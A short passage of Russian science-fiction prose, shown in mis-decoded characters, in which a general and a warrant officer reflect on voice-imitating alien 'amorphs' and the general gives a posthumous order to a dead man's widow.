çíàåì, ÷òî àìîðôû ìîãóò èìèòèðîâàòü âñå ÷òî óãîäíî - âïëîòü äî
çíàêîìûõ ãîëîñîâ� Âåäü èìåííî ãîëîñ ñûíà, ðàçäàâøèéñÿ èç ëæå-
ñàìîëåòà, çàñòàâèë àâòîìàòèêó îáìàíóòüñÿ�

- Íî âåäü îí çíàë. Çíàë, ÷òî ñûí ïîãèá, ÷òî ñêîðî óæå ãîä� - íà-
÷àë àäúþòàíò, íî ãåíåðàë ïîäíÿë ðóêó. Ïðàïîðùèê çàìîë÷àë. Ãåíå-
ðàë ñ òðóäîì ðåøèëñÿ ïðîèçíåñòè âñëóõ òî, î ÷åì äóìàë ñ òîãî ìî-
ìåíòà, êàê óçíàë î ñìåðòè Êóçíåöîâà:

- Îí ÍÈÊÎÃÄÀ íå âèäåë ñâîåãî ñûíà ìåðòâûì. ÍÈÊÎÃÄÀ.
- È�
- Äà. Íèêòî� ÍÈÊÒÎ è ÍÈÊÎÃÄÀ íå óçíàåò, êòî áûë òàì, â ñàìî-

ëåòå.
Óïàëè êðóïíûå êàïëè äîæäÿ. Ïðàïîðùèê ñ øóìîì ðàñêðûë çîíò

è âòÿíóë ãîëîâó â ïëå÷è�
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Ãåíåðàë àêêóðàòíî óëîæèë îð-
äåí â êîðîáî÷êó, ïðîòÿíóë æåíå
Êóçíåöîâà, ïîñòàðåâøåé â îäíî

ìãíîâåíèå ëåò íà äâàäöàòü.
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